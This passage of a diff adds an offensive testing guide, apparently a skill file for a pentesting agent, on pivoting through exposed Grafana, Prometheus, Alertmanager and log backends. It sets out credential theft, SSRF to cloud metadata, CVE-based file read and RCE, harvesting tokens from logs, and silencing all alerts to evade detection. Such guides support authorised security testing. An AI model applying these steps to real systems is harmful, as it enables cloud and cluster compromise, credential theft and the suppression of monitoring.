Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
|
|
129
|
+
|
|
130
|
+
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
|
|
131
|
+
```
|
|
132
|
+
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
|
|
133
|
+
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
|
|
134
|
+
```
|
|
135
|
+
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
|
|
136
|
+
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
|
|
137
|
+
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
|
|
138
|
+
|
|
139
|
+
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
|
|
140
|
+
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
|
|
141
|
+
|
|
142
|
+
## Testing Methodology
|
|
143
|
+
|
|
144
|
+
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
|
|
145
|
+
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
|
|
146
|
+
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
|
|
147
|
+
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
|
|
148
|
+
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
|
|
149
|
+
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
|
|
150
|
+
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
|
|
151
|
+
|
|
152
|
+
## Validation
|
|
153
|
+
|
|
154
|
+
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
|
|
155
|
+
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
|
|
156
|
+
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
|
|
157
|
+
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
|
|
158
|
+
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
|
|
159
|
+
|
|
160
|
+
## False Positives / Down-rate
|
|
161
|
+
|
|
162
|
+
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
|
|
163
|
+
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
|
|
164
|
+
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
|
|
165
|
+
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
|
|
166
|
+
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
|
|
167
|
+
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
|
|
168
|
+
|
|
169
|
+
## Impact
|
|
170
|
+
|
|
171
|
+
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
|
|
172
|
+
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
|
|
173
|
+
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
|
|
174
|
+
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
|
|
175
|
+
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
|
|
176
|
+
|
|
177
|
+
## Pro Tips
|
|
178
|
+
|
|
179
|
+
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
|
|
180
|
+
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
|
|
181
|
+
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
|
|
182
|
+
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
|
|
183
|
+
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
|
|
184
|
+
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
|
|
185
|
+
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
|
|
186
|
+
|
|
187
|
+
## Summary
|
|
188
|
+
|
|
189
|
+
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
|